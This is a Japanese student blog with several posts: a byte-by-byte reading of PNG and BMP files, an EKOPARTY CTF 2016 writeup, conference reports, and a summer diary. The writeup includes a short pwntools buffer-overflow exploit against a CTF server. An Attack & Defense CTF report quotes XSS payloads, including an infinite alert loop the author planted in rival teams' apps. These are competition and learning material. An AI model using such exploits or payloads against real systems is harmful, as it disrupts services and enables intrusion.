yyy

CTFつよくなりたい

画像のバイナリを読んでみた話

この記事は Aizu Advent Calendar 2016 13日目の記事です。

前の人は、@je_je_laさん、次の人は@kobadさんです。

はじめに

SECCON2016お疲れ様でしたって感じで、SECCONが終わったばかりなのでそのWriteupを載せてもいいかなとか少し考えていたのですが、2問しか解いていないのでやめました。

元々ALTで話したQRコードの復元について書くつもりでいたのですが、計算ミスしているのか完全復元ができていない状態なので、他になにかないかなーと思っていたところ、ふと思い浮かんだのが「画像のバイナリを読む」っていうやつ。

読んでみた形式

PNG

BMP

用意した画像

上の2つの形式でそれぞれ100 x 100ピクセル、一面真っ白な画像。

PNG

とりあえず開いてみる。

vim -b white.png

f:id:ywkw1717:20161213043231p:plain

vimバイナリモードで開いた状態。

このままでは流石に読めないので、%!xxdで16進ダンプする。

f:id:ywkw1717:20161213043319p:plain

これなら読める

早速読んでいく。

"8950 4e47 0d0a 1a0a" の部分がシグネチャ

"0000 000d" がIHDRチャンクのlength(13bytes)

"4948 4452" IHDRであることを示すChunk Type

"0000 0064 0000 0064 0806 0000 00" がdata部分

"70 e295 54" がIHDRチャンクのCRC

"00 0000 06" がlength(6bytes)(6は、カラータイプがトゥルーカラーであることを表している)

"62 4b47 44" がbKGDチャンク(背景色、設置は任意、複数の設置はダメ、場所はPLTEの後、IDATの前)であることを示すChunk Type

"00 ff00 ff00 ff" がdata部分 (背景として使われるRGBカラーが示されていて、それぞれ左から2bytesずつR,G,Bの値)

"a0 bda7 93" がbKGDチャンクのCRC

"00 0000 09" length(9bytes)(常に9)

"70 4859 73" pHYsチャンク(物理的なピクセル寸法を示す、設置は任意、複数はダメ、場所はIDATの前)

"00 000b 11" X軸上の単位あたりのピクセル

"00 000b 11" Y軸上の単位あたりのピクセル

"01" 単位指示子(1の場合はメートル)

"7f64 5f91" がpHYsチャンクのCRC

"0000 0007" length(7bytes)(常に7)

"7449 4d45" tIMEチャンク(イメージの最終更新時間、設置は任意、複数はダメ、場所はIHDRとIENDの間ならどこでもよい)

"07e0" 年 (2016)

"0c" 月 (12)

"09" 日 (9)

"0d" 時 (13)

"03" 分 (3)

"11" 秒 (17)

"2b 2df3 cb" tIMEチャンクのCRC

"00 0000 a2" length(162bytes)

"49 4441 54" IDATチャンク

"78 daed d101 0d00 0008 c330 c0bf e763 8390 4ec2 da49 523a d358 0044 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0444 4080 0808 1001 0122 2040 0404 8880 0808 1001 0122 20df 5b08 6004 c4be f58b 07" data部分

"00 0000 00" length(0byte)

"49 454e 44" IENDチャンク(場所は一番最後)

"ae 4260 82" CRC

シグネチャと3つの必須チャンクで構成すれば、それがPNG画像の最小構成になるのですが、用意した画像にはどうやら"bKGDチャンク"と"pHYsチャンク"、"tIMEチャンク"が含まれていたようです。

BMP

vim -b white.bmp

f:id:ywkw1717:20161213043844p:plain

16進ダンプ。

f:id:ywkw1717:20161213044012p:plain

ここまではPNGと一緒です。

なにか違うことをやってみたいと思います。

BMPPNGと違って無圧縮です。

よって、このバイナリをビットマップ表示させればそのまま表示できるはずです。

しかし・・・他のバイナリエディタであればこのような機能を実装している場合があるのですが、できれば使い慣れたVimを使いたい・・・!

でもVimテキストエディタ・・・そんなことができたらいいなと夢見つつ・・・呼んでみましょう

暗黒美夢王さん、タスケテー

github.com

vinariseドーーーーーーン!!!!

なんと、ビットマップ機能が付いたバイナリエディタプラグインが既に作られていたらしいです。

有り難や・・・と感謝しつつ、早速

:Vinarise

からの B でビットマップ表示。

f:id:ywkw1717:20161213043019p:plain

素晴らしいですね。

ファイルヘッダや情報ヘッダ部分以外を抜きにして、しっかりと白くビットマップ表示されています。

試しに、用意していた黒い画像のほうも。

vim -b black.bmp
:Vinarise
B

f:id:ywkw1717:20161213045507p:plain

しっかりと黒く表示されています。

休憩はこのくらいにして、本題に戻ります。

先ほどの16進ダンプした結果である、

f:id:ywkw1717:20161213044012p:plain

このバイナリを読んでいきます。

ファイルヘッダ(14bytes)

"424d" BMというビットマップのシグネチャ(2bytes)

"aa75 0000" ファイルサイズ(リトルエンディアンなので、30122bytes)

"0000" 予約1(将来の拡張用に予約されている)(2bytes)

"0000" 予約2(2bytes)

"7a00 0000" イメージデータオフセット(BMPファイルの最初からイメージデータの先頭までのバイト単位でのオフセット)(4bytes)(122)

情報ヘッダ

"6c00 0000" ヘッダサイズが108なので、V4かV5タイプ(INFOタイプを拡張した情報ヘッダ形式)(108)

"6400 0000" 幅(100)

"6400 0000" 高さ(100)

"0100" プレーン数(常に1)

"1800" ピクセルごとのビット数(1画素辺りのデータサイズ)(ex. 256色BMP = 8)

"0000 0000" 圧縮タイプ

"3075 0000" イメージデータサイズ(画像データ部のサイズ)(30000)

"120b 0000" 水平解像度

"120b 0000" 垂直解像度

"0000 0000" カラーインデックス数(格納されているパレット数、使用している色の数)

"0000 0000" 重要インデックス数(重要なパレットのインデックス)

"4247 5273" 色空間のタイプ(sRGBがリトルエンディアンで格納されて、BGRs)

・・・・・・・

7aからデータ部分が始まる。

画像データは左下から右上に向かって記録されています。

よって、最初の数バイトを0で埋めて書き換えたりすると、当然左下の数バイトが黒くなったりします。

f:id:ywkw1717:20161213050326p:plain

まとめ

JPGも資料見てみたりしたら、マーカーとかで区切られていて、さらに複数のセグメントで構成されているらしく(必須のセグメントもあるらしい)PNGのチャンクっぽいとか思った。

個人的には一番PNGが読みやすいなと感じた。

バイナリを読んでいるとき、「あっ、こんな風に格納されているのか・・・」と感動する時がある。

楽しい。

参照

http://hoshi-sano.hatenablog.com/entry/2013/08/18/112550

http://www.setsuki.com/hsp/ext/png.htm

https://www.ruche-home.net/program/bmp/struct#info-header-v4-compression

EKOPARTY CTF 2016 Writeup (デコンパイルパンチカードCTF)

開催期間(JST)

10/27 AM5:00 ~ 10/29 AM5:00

結果

・チーム名:wabisabi

・得点:500pt

・順位:209/721

解いた問題

JVM(rev25)

・F#ck(rev50)

・RrEeGgEeXx(rev75)

・Ultra baby(pwn25)

175pt

途中まで解いた問題

・Alice secret message(for175)

・Old but gold(misc250)

Writeup

JVM(rev25)

「EKO.class」というJavaのクラスファイルが与えられるので, とりあえず実行してみるも何も表示されない.

jd-guiを使ってデコンパイルしてみると, 次のようなソースコード.

public class EKO
{
  public static void main(String[] paramArrayOfString)
  {
    int i = 0;
    for (int j = 0; j < 1337; j++) {
      i += j;
    }

    String str = "EKO{" + i + "}";
  }
}

最後ら辺に、

System.out.println(str);

とかを付け足して, 結果を出力するように変えて, コンパイルして実行.

EKO{893116}

F#ck(rev50)

「FlagGenerator.exe」というファイルが与えられるので実行してみるも, 確か何かのエラーをはかれて実行できなかった.

ILSpyを使ってデコンパイルしてみる.

using Microsoft.FSharp.Core;
using System;
using System.Globalization;
using System.IO;

[CompilationMapping]
public static class Program
{
    [Serializable]
    internal class teArr@9 : FSharpFunc<int, string>
    {
        public string str;

        public int[] ccIndices;

        internal teArr@9(string str, int[] ccIndices)
        {
            this.str = str;
            this.ccIndices = ccIndices;
        }

        public override string Invoke(int i)
        {
            if (i == this.ccIndices.Length - 1)
            {
                return this.str.Substring(i);
            }
            int num = this.ccIndices[i];
            return this.str.Substring(num, this.ccIndices[i + 1] - num);
        }
    }

    public static string get_flag(string str)
    {
        int[] array = StringInfo.ParseCombiningCharacters(str);
        int num = array.Length;
        FSharpFunc<int, string> fSharpFunc = new Program.teArr@9(str, array);
        if (num < 0)
        {
            Operators.Raise<Unit>(new ArgumentException(LanguagePrimitives.ErrorStrings.get_InputMustBeNonNegativeString(), "count"));
        }
        string[] array2 = new string[num];
        int num2 = 0;
        int num3 = num - 1;
        if (num3 >= num2)
        {
            do
            {
                array2[num2] = fSharpFunc.Invoke(num2);
                num2++;
            }
            while (num2 != num3 + 1);
        }
        string[] array3 = array2;
        Array.Reverse(array3);
        return string.Join("", array3);
    }

    [EntryPoint]
    public static int main(string[] argv)
    {
        if (argv.Length != 1)
        {
            ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("Usage: FlagGenerator.exe <FLAG>"));
        }
        else
        {
            string text = Program.get_flag("t#hs_siht_kc#f");
            if (string.Equals(text, argv[0]))
            {
                FSharpFunc<string, Unit> fSharpFunc = ExtraTopLevelOperators.PrintFormatLine<FSharpFunc<string, Unit>>(new PrintfFormat<FSharpFunc<string, Unit>, TextWriter, Unit, Unit, string>("EKO{%s}"));
                string text2 = text;
                fSharpFunc.Invoke(text2);
            }
            else
            {
                ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("BAD ANSWER"));
            }
        }
        return 0;
    }
}

c#のコードにデコンパイルできたので, 読んでいく.

t#hs_siht_kc#f

14文字

num2 = 0
num3 = 13

array2はstring型の配列?でnum分確保されている


array2[0] = fSharpFunc.Invoke(0)
num2++


strはサロゲート文字ではないから、たぶん↓
array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]
FSharpFunc<int, string> fSharpFunc = new Program.teArr@9("t#hs_siht_kc#f",array)

this.str = "t#hs_siht_kc#f"
this.ccIndices = array

iが13になったらif文
this.ccIndices.Length - 1 = 13

return this.str.Substring(0, 1-0) つまり "t"

array2 = ["t", 

num2 == 1
1文字目から1文字取得

...................


array2 = ["t", "#", "h", "s", "_", "s", "i", "h", "t", "_", "k", "c"
num2 == 12

num2 == 13
return "f"

array2 = ["t", "#", "h", "s", "_", "s", "i", "h", "t", "_", "k", "c", "f"]

reverse

f#ck_this_sh#t

こんな感じで解いてる時にメモを残していたけど, 結局は途中で与えられているt#hs_siht_kc#fと言う文字列を逆順にしたものが答え.

EKO{f#ck_this_sh#t}

RrEeGgEeXx(rev75)

問題名から, 正規表現を扱う問題っぽい. (表記の仕方かっけぇ)

「RegexAuth.exe」というファイルが与えられる.

実行してみると

EKO AUTH CHECKER
----------------
Password:

とか, パスワードを求められる.

正しくないと

IMPOSTOR

これも, ILSpyでデコンパイルしてみる.

using System;
using System.Text.RegularExpressions;

namespace RegexAuth
{
    internal class Program
    {
        private static bool check_regex(string regex, string input)
        {
            Regex regex2 = new Regex(regex, RegexOptions.None);
            Match match = regex2.Match(input);
            return match.Success;
        }

        private static void Main(string[] args)
        {
            Console.WriteLine("EKO AUTH CHECKER");
            Console.WriteLine("----------------");
            Console.Write("Password: ");
            string input = Console.ReadLine();
            if (Program.check_regex("^.{40}$", input) && Program.check_regex("\\w{3}\\{.*\\}", input) && Program.check_regex("_s.*e_", input) && Program.check_regex("\\{o{2}O{2}o{2}", input) && Program.check_regex("O{2}o{2}O{2}\\}", input) && Program.check_regex("sup3r_r3g3x_challenge", input))
            {
                Console.WriteLine("Welcome master");
                return;
            }
            Console.WriteLine("IMPOSTOR");
        }
    }
}

こんな感じ

正規表現で, パスワードチェックを行っている場所に注目.

if (Program.check_regex("^.{40}$", input) && Program.check_regex("\\w{3}\\{.*\\}", input) && Program.check_regex("_s.*e_", input) && Program.check_regex("\\{o{2}O{2}o{2}", input) && Program.check_regex("O{2}o{2}O{2}\\}", input) && Program.check_regex("sup3r_r3g3x_challenge", input))

これをなんとなーく読んで

"^.{40}$" 任意の1文字が40回で始まりと終わり つまり40文字

\www\{(任意の1文字0回以上繰り返し)\} → EKO{} ?

_s(任意の1文字0回以上繰り返し)e_

\{ooOOoo

OOooOO\}

sup3r_r3g3x_challenge

EKO{ooOOoo_sup3r_r3g3x_challenge_OOooOO}

Ultra baby(pwn25)

not strippedだったので, gdbで関数見てみると「Flag」という明らかな関数があるのがわかる.

startさせて, callするも

EKO{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

表示されない

値を入力させるプログラムだったのでBOFを疑い, Aをいくつか入力してみると24回目でBOF.

よって, BOFしたあとにFlag関数にreturnするようにしてあげる.

from pwn import *

r = remote('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 55000)
r.sendline('A'*24 + p64(0x07f3))
print r.recvall()

EKO{Welcome_to_pwning_challs_2k16}

Alice secret message(for175)

解けなかった.

zipを解凍すると, 7zで圧縮されたファイルがでてくる.

それも解凍すると, 4GBくらいのイメージファイルが.

fileコマンドで確認すると

DOS/MBR boot sector

FTK Imagerで確認すると, いくつか削除されたファイル(画像が4枚ほど, pdfが1つ, txtが1つ)があるのがわかる.

取り出して見てみると, 画像とpdfはドラッグとかについてのもので超怪しい.

pdfのファイル名は「The_Compleat_Recreational_Drugs_Handbook」で, 80ページ越えのもの.

なんやこれ・・・・って思って中身パラパラ見てみるもわからない.

画像のExifはどうだろうと思って見てみたり, Google画像検索とかで元画像探して、見つけるもよくわからない.

お手上げ~

この問題, CTFtimeにもまだWriteupが上がっていなくて, めっちゃ気になる.

Old but gold(misc250)

終了2, 3時間前ぐらいに取り掛かったやつ.

人間パンチカード読み取り機になって解いていた.

確か最初見たときは,

「問題文にQRコードってあるやんけ!やったろ~」

---------- zip解凍 ----------

「・・・・・・・・・・・・・・・・」

ってな感じで, なにがなんだかさっぱりで諦めてた.

終了が近くなり, 配点大きいやつに取り組もうと問題漁ってたら, この問題が結構解かれていたのでやってみた.

結果・・・・

めちゃくちゃ惜しいところまでいっていたらしく, 悔しすぎる.

与えられるファイルは14枚の画像ファイル.

f:id:ywkw1717:20161030031543p:plain

その内の1枚

f:id:ywkw1717:20161030031624p:plain

これ, 初見でなんなのか分かる人は, 変態か昔の人だけだと思ってる.

調べてみるとどうやら, 「IBMの80欄カード」ってものらしく, 1928年にIBMによって作られたものらしい.

ここを参考にした.

http://www.wikiwand.com/ja/%E3%83%91%E3%83%B3%E3%83%81%E3%82%AB%E3%83%BC%E3%83%89

で, 確か残り3時間切っていて, 実装力のない自分にとっては目視で解くのが一番速いと思ったので, 目視解読スタート.

一応, リンク先のままだと見辛いので, 簡単な対応表は作っていた.

Y1 A
Y2 B
Y3 C
Y4 D
Y5 E
Y6 F
Y7 G
Y8 H
Y9 I
X1 J
X2 K
X3 L
X4 M
X5 N
X6 O
X7 P
X8 Q
X9 R
01 /
02 S
03 T
04 U
05 V
06 W
07 X
08 Y
09 Z

ひたすら読んでいく.

やはり, 反復して出てくるものは覚えられるので, 途中「読める・・・・読めるぞ・・・・!!!」みたいになってた.

得られた文章↓

IT WAS THE SIXTIES. HE WAS TRYKNG TO FIGURE OUT HOW TO
MANUALS TRY1NG TO LEARN HOW TO PROGRAM AND SPEND A LOT
OF TIME PUNCHING THOSE NARDS. CAN YOU IMAGINE WHAT COULD
USING THIS OLD TECHNOLOGY. GOOD LUCK. YOU WILL NEED IT.
HAPPEN IF YOU FAKE A SMALL MISTAKE IN ON OF THOSE PUNCHED
ERROR DUE TO A SMALL AND ALMOST INSIGNIFCANT MIST4KE BUT
THE BUG. BUT THOSE WER3 THE OLD DAYS. CAN YOU FIND THE FLAG
USE THOSE PONCHED CARDS. HE LIKES TO PROGRAM IN FORTRAN
CARDS. AFTER THOSE HOURS WAITING ROR A RESULT. THEN IT SAYS
IN THOSE DAYS YOUR ONLY OPTION W4S READ LARGE BOOKS AND
AND COBOL. B(Y58)T EVEN AFTER ALL THOSE YEAR HE DOESNT KNOW
HOW TO PROPERLY MRITE SECURE CODE IN THOSE LANGUAGES
THAT WILL TAKE MORE TIME TO MEBUG AND FIGURE OUT WHERE WAS
ONCE UPON A TEME. THERE WAS A YOUNG HACKER CALLED MJ

(途中3つ穴が開いている場所があって, どの特殊記号かわからなかった)

ここで, 重要なことに気づく.

「これ, 順番合ってんのか!!!!!!???????」

とりあえず, 残り30分くらいだったのでそのまま読む.

FLAGそのままかいてないんかーい, ってなったけどせっかくここまで解いたので諦めず考える.

文章には途中, いくつか間違っているところが存在する.

これか?と思い, 並べてみるもよくわからない.

ここでタイムアップ.

他の方のWriteup見る限り, ストーリーが成り立つように並び替えて, 間違っている箇所を順番に読んでいけばいいらしい.

もう少し時間があれば解けたって言いたい.

とても悔しかった.

まとめ

pwnが1問解けた喜びがあった.

全ジャンル, ちょっとずつしか解けていないみたいな感じだったので, チームメンバーそれぞれ, 担当しているジャンルの強化が必要だなと強く実感した.

今回のCTF,

デコンパイルパンチカードCTF

みたいな印象が残った.

CODE BLUE & AVTOKYO

f:id:ywkw1717:20161026010224j:plain ようやく日常が落ち着いてきたので、思い出しながら書いています。

CODE BLUEは学生スタッフとして、AVTOKYOは買っていただいたスポンサー枠として、参加してきました。

とても貴重な体験だったので、参加記として残したいと思います。

CODE BLUE

去年学生スタッフとして参加した友人から話を聞いたり、自分が将来情報セキュリティ関係の職に就きたいと思っていたので、そんなこんなで応募したのがきっかけです。

開催日は10月20日、21日だったのですが、前日準備などもあったので19日に東京入りしました。

この3日間、当然大学の講義はありましたが、熱心に頼み込んで休みにしない扱いを得た講義以外の出席は捨てて、新宿へ。

19日は、事務局の方々や同じ学生スタッフの方々と交流を深めたり(SECCON大阪大会優勝チームの方に当日のお話を聞けたり)、会場準備のお手伝いをしたりしていました。

その後、事務局側が用意してくださったホテルへ移動。

とても立派なホテルで、目の前には素晴らしいベッドが広がっていました。

ずっとやりたかったこと。

ダイブイン!!!!!!!!!!!!!!!!!

f:id:ywkw1717:20161026012450j:plain

最高でした。事務局の方々、本当にありがとうございました。

その日の夜ご飯。

f:id:ywkw1717:20161026014021j:plain

美味かった。

開催1日目

この日はスタッフとしての業務は無く、参加者として楽しみました。

完全に自由だったので、自分の聞きたい講演を聴くという感じでした。

あのCGCの優勝者の話や、ウィンドウズカーネルの話、Binary Ninjaによるプログラム解析、ヒープ領域を活用した新たな攻撃手法など、1日目は低レイヤーの講演が多いなと感じました。

自分が一番興味を惹かれたのが、「House of Einherjar : GLIBC 上の新たなヒープ活用テクニック」で、とてもわかりやすく終始聴き入っていました。

具体的な内容には触れませんが、スライドや動画も公開されるらしいので興味のある方はぜひ。

夜はバイト先の社員さんと飲みへ。翌日も控えていたので軽く飲む程度でご馳走になりました。ありがとうございました。

開催2日目

さぁいよいよスタッフとしての業務です。

朝早起きして、眠い目をこすりながら8時に会場へ集合。

自分は最初誘導で、駅のほうでパネルを持っていました。

「お疲れ様」と声をかけてくださる方もいて、心が温かくなりました。

その後はドアキーパー、レシーバー回収の手伝い等々。

昼食の時間になって、5階のほうへ行きご飯を食べていたのですが、なんとそこにあのあのあの愛甲さんがいたりして、テンションが上がったりしていました。(名刺を交換して頂きました。大事にします・・・。)

夕方頃になってくると、足や腰が結構くる。

講演が終わり、レシーバーの回収(今年は紛失が0で、これは凄いらしい)やその他の業務。

学生スタッフとしての業務が終わると、学生はネットワーキングパーティで楽しめ!との合図で会場へ飛び込んでいきました。

そこでは、普段じゃ絶対お話ができないような方々と濃いお話がたくさんできました。

CODE BLUE 終了後

当然、打ち上げへ。

会場は「アントニオ猪木酒場」というところだったのですが、独特なお店で驚きました・・。

お酒を飲みながら、学生スタッフや運営の方々とお話。

そしたらそこに、自分が普段スライドなどを読んでいた三村さんがいらっしゃって、名刺交換していただきました。そしてなんとも図々しいことに、研究室の決定で悩んでいた僕は三村さんに少しだけ相談してみたのですが、とても良いフィードバッグを貰えました。ありがとうございました。

AVTOKYO

打ち上げの翌日です。今度は渋谷で開催されるAVTOKYOへ参加するため、身支度を済ませ渋谷へ。

f:id:ywkw1717:20161026021240j:plain

え、ここでやるの、って感じでしたがこの地下のそれっぽいところが会場でした。

会場、クラブみたいな感じで(行ったことはないです)、ってかクラブ・・・?

とにかく、ここで本当にセキュリティのカンファレンスやるの・・・?ってぐらいの雰囲気でした。

ドリンク飲み放題で、お酒→お酒→ジュース→お酒・・・みたいなペースでずっと飲んでいました。

講演だけではなくて、CTFが開催されていたり、ワークショップがあったり本当様々でした。

僕は講演を聴いたりCTFやったり飲んだり、自由にやっていましたが、途中でPCのバッテリーが落ち、CTFは断念。

とにかく面白い講演ばかりで、CODE BLUE とは全く違う、もっとラフな感じでした。

AVTOKYO 終了後

VIPパーティーへ。

VIPパーティー、本当にVIPしかいなくて、圧倒されていました。

座った席の隣の隣ぐらいにはCODE BLUEでCGCの話をしていたPPPの人がいたり、奥のほうにはHITCONの運営の方がいたり・・・。

右隣に座っていた方とよく喋っていたのですが、pinjaの人で、なんとその後luminさんや上野さんのところに連れて行ってもらって名刺交換したり、その場にいた韓国のスーパーハッカー会津のことをつたない英語で伝えたり。。。

最近、少しは英語が聞き取れるようになり調子に乗っていたら、話すほうは全くダメ・・・。

日頃英語を、講義で聞くことはあっても喋る習慣って全然無いなって思い、英語の能力の無さを改めて実感しました。

その後、訳あって東京に住んでる友達と朝までファミレスで語り、次の日。

新宿で友人とどうしても観たい映画があったので、映画館へ。

聲の形」という、聴覚障害者をテーマにした漫画が映画化されたものです。

元々、Twitterかなんかで2年前くらいに知って、原作読んでたって感じです。

序盤辺り、読んでいて辛いものがあるのですが、面白いのでぜひ。

映画も、好きなキャラが喋ったり動いたりして、感動しました。

帰路

バスで爆睡。

会津、着いたら冬のように寒い。

まとめ

過去最長で東京にいました。

こういうイベントって、同じ志を持った人と交流できるし、普段下降気味のモチベーションとかも持ち直せたり、将来のこと考えるきっかけになったりして、絶対1回は経験したほうが良いと思いました。

どちらも、来年参加するかはわかりませんが、最高に楽しかったです。

no drink, no hack!

Aizu CTF #2に参加した「感想」

f:id:ywkw1717:20161004022431p:plain

※一回もflagをsubmitできなかったのでwriteupではございません

10月1日(土)に会津大学で開催されたAizu CTF #2に、普段組んでいる初心者CTFチームのメンバーと共に参加してきました。

結果から言うと、下から4番目でした。参加者は14,5人いたのでそのくらいです(適当)

当日

前半が講義、後半が実際に手を動かしてAttack & Defense形式のCTFをやる(個人戦)、と言う感じでした。

前半

まず講義ですが、Webセキュリティの基礎ということでSQL Injection, XSSなどの攻撃やその他様々な攻撃手法を教えてもらいました。

自分が特に面白いと思った攻撃手法がTime-based Injectionです。

SQLの実行結果がどうであってもロジックには全く影響しない、と言うケースに使われるという話で、 どうするのかと思ったらレスポンスが返ってくるまでの時間でパスワードを推測していくという事で、なるほどなぁと思いました。

後半

さぁいよいよ演習の時間です。

今まではJeopardy形式のCTFしか参加したことはなかったので、とても新鮮でした。

まず問題だったのが、有線でローカルネットワークに繋ぐのですが、LANケーブル挿しただけじゃ繋がらない、IP設定して云々という事で僕にはさっぱりわかりませんでした、はい。

ですが、すぐバッタさんが来てくれて僕のUbuntuマシンをカチャカチャやってくれて繋がりました。(ありがとうございました・・・)

その後競技がスタートしたのですが、ネットに繋がらない云々があったので遅れてあたふたしながら始めました。

ルールとしては、各チームに与えられたサーバ上で動いている脆弱なWebアプリケーションを防御しながら他の人のサーバを攻撃してflagをゲットします。

最初の30分は他の人のWebアプリケーションにはアクセスできないようになっていたので、とりあえずソースコードを読んだりしていました。

途中で「どこにflagがあるのか」と考えた結果、「データベースじゃね?」と思ったので、MySQL開いてテーブル見てごにょごにょしていると、usersテーブルの中にflagを見つけました。

これを守って、さらに他の人のflagを取ることを考えた結果、防御手法としては「flag付きのuserを削除する(これはアホだった)」、攻撃手法としては「SQL Injectionなどして、頑張って読み出す」という方針に決まりました。

なぜflag付きのuserを削除するのがアホだったかというと、毎ラウンドSLAがチェックしているためflagが存在しないとそのぶん防御ptが入らなかった。(と思ったけど、実際そうだったのかわからない・・)

次に、攻撃しようと思ったのですがユーザログインのフォームでSQL Injectionしてみるもできない。なんとかしてadminになれないかと試行錯誤するもダメでした。

次にXSSすることを考えて、Webアプリケーションが掲示板のような感じだったので、とりあえず

<script>alert('xss');</script>

とかしてみると、脆弱性があることがわかりました。

講義でのXSSの解説に、alertを出すこと自体がXSSとして世間に誤認されてしまっている、alertを出すことが目的ではない、と言う話で僕もalert脳から脱却しようと頑張ったのですが、どうやればいいかわからずギブアップ。

結果、嫌がらせのようなXSSしか思い浮かびませんでした。(すみません)

<script>while(1){alert('xss');}</script>

無限ループでalertを出し続けるという感じで、いくつかのチームに仕込んで回っていました。

でも、これに手間を取られたチームもいてくれたみたいで、結果的に妨害行為的なのはできたのかなと思いました。

悪夢だったのが、

DOM構造が変更されています。タイムアウトしました。

という警告で、Webアプリのホームのレイアウトがめちゃくちゃになる、というもので「なんだこれはあああ」とずっと思ってました。

どうやらMySQL再起動して、アプリも再起動すれば直るらしく、何回も何回も再起動していました。

この警告が出ていると、防御ptが全く入らなくて前半の防御ptがほぼ0みたいな状態で、厳しかった。

あとは終盤は、怪しそうなuserや怪しそうなpostがあったら手動で消していくみたいなことをしていて、ひたすら防御に回っていました。

そしたら、DOM構造が変更されています、の警告がようやく出なくなって、よかったです。(未だになにが原因だったのかわかりません・・・)

まとめ

話には聞いていたけど、やっぱりAttack & Defenseって攻撃と防御を自動化等して、いかに両立できるかだなぁと感じました。

つらかったけど、最高に楽しかったです。

運営の皆さん、本当にありがとうございました!!!!!!!!

夏休み まとめ

夏休みが終わる


そろそろ夏休みが終わる。思い返せば大学2年の夏休みはだいぶ充実していて、アクティブな毎日を過ごせていた。

あと1週間あるけど、残りは何も予定が無さそうなので、簡単にこの夏休みを振り返ろうと思う。

やったこと

・帰省して友達と遊びまくった
・普通免許を取って、車を運転できるようになった
・大学のサマキャンのインストラクターをやって、初めてゲームを作った
君の名は。を観た
君の名は。のファンアートを描いた
・BBQで2年連続で猪苗代湖に飛び込んだ
君の名は。を観た(2回目)
・企業見学でIIJさんへお邪魔した
・一日一食の日が多くなる
・短期バイトで煎餅を焼いた
・CTFで少しは成長がみられた
・BABYMETALのライブにいった

ざっとこのくらい

8月上旬〜中旬

まず、8月上旬はテストを乗り切るために必死だった。今回のテストは毎教科オールしなきゃならないぐらい追い込まれていて、友達と勉強する部分を分けてその後教え合ったりして(これは凄い効率がいい)なんとか乗り切った。

中旬頃になると結果がわかって、単位は全部取れていた。

一夜漬けでCが一つもなかったのは自分でもよく頑張ったな、と思った。

テストが終わって帰省。その後、半年かけて卒業した教習所の卒業証明書的なのを持って地元の本検会場へと向かって、無事免許を取ってきた。(群馬県の学科試験はくそ簡単と聞いていたけど、マジで簡単だった)

その後は、地元の友達と飲みに行ったりカラオケに行ったりして、大学生って感じだった。(遊んだのは全員男なので悲しい)

実家は座っていれば勝手に美味しいご飯が出てくるので楽園だった。

大学のほうで車を使うから、実家から持ってくる必要があったため、帰省を終えて帰ってくるときに300kmぐらい運転してきた。思ったほど疲れなかったけど疲れた。

8月下旬

帰省を終えてからすぐ待っていたのは、大学のサマーキャンプのインストラクターで、Javaコースの人員が足りないということで友達に誘われて参加した。

内容としては、3~4人の班に分かれてそれぞれの班にインストラクターが一人ついて、ゲームを作る。

1日目はまだよかったが、2日目以降が辛かった。ゲームを作ったことがなかったし、普段はVim使ってて統合開発環境とか使ったことがなかったので頑張って覚えた。

3日目の朝にはほぼ完成していなきゃならないのに、進捗が悪く、キツかった。

だけど、Javaコースには妖精がいるらしく、寝て起きるとゲームが完成しているらしい。(誰が妖精になるとは言っていません)

そんなこんなでなんとか乗り切った。ゲームを作ったことがない身としては、よく頑張ったと思う。



サマキャンが終わってから、ずっと観たかった新海誠の「君の名は。」を観てきた。


最高に最高だった。いや、最高

新海誠はずっと前からファンで、待望の新作ということで期待していたけど、期待を2倍も3倍も上回って最高だった。(見てない人はぜひ映画館へ)

新海作品については↓
syfm.hatenablog.com


創作意欲をとても刺激されたので、帰ってすぐファンアートを描こうと決めていた。

帰ってきたのは早朝4時頃。

オールで寝ていないにも関わらず、映画の影響でドーパミンが多く分泌されていたのかわからないけど、とにかく眠くなかった。

だから、寝ないですぐに描き始めた。

お昼過ぎまで描いていて、それからようやく睡魔が来て眠る。そしてまた起きてすぐ描く。

ご飯も一食しか食べないで黙々と描いていた。(昔からだけど、絵を描いてるときって異常なほど集中していて、休憩せずに何時間も描いてしまうので絶対体に良くない)


そして、完成したやつ↓

f:id:ywkw1717:20160924070058j:plain

完成してTwitterに投稿してみたら、そこそこ反響を頂いて、アカウントだけ作ってなにも投稿していなかったpixivにもあげてみた。

そしたら後日、ランキング入りとかメールが来てて、とても嬉しいと同時に見てくださった人に感謝だった。

f:id:ywkw1717:20160925183741p:plain

9月上旬

この頃で印象にあるのは、やっぱりバイト先のBBQで行った猪苗代湖で2年連続で飛び込んだこと。

なぜか、宮城県民は飛び込むという話になって宮城県民辛そうだった。

そしたらその後、「群馬県って宮城県だよね?」みたいな意味不明な流れになり飛び込んだ。寒かったけど楽しかった。

(今年は飛び込む人多すぎた)

帰ってきてから、去年飛び込んで風邪をひいた経験を活かして、毛布にくるまって暖かくして寝たら風邪ひいてなくて勝利。


あとは2回目の「君の名は。遠征」に行ったりした。

9月中旬〜下旬

9月15日(木)には、大学側が用意してくださった企業見学会でIIJさんへお邪魔した。会社概要や具体的な業務内容、また会津大学OBの方にもお話を聞けてとても貴重な経験となった。

就活もそろそろ他人事ではなくなってきた。



この頃から一日一食の日が増える。

なぜかというと、いろいろ出費がかさんだ結果、食費を大幅に減らさなければならなくなったから。

でも一日一食、二食は慣れてくると結構いける。

その結果、よく行くラーメン屋で朝昼食べていない状態で替え玉8いけたときがあったけど、3くらいでお腹いっぱいになってしまった。

胃袋が小さくなったのかと思ったけど、どうやらこういうことらしい↓

胃が小さくなるって本当? | 肉体改造研究所(筋トレ&ダイエット)



9月17日(土)から9月下旬には、不定期で會津十楽のほうで短期バイトをさせて頂いた。

もともとはサマキャン関係でお誘い頂いて、参加した。業務内容は煎餅焼き体験の補助で、お客さんに焼き方を教えるという内容。接客業は半年ほど経験あったけど、それでも小さい子相手とかだと、おばちゃんみたいに上手く接客できなかった。

これもまた、いい経験になった。



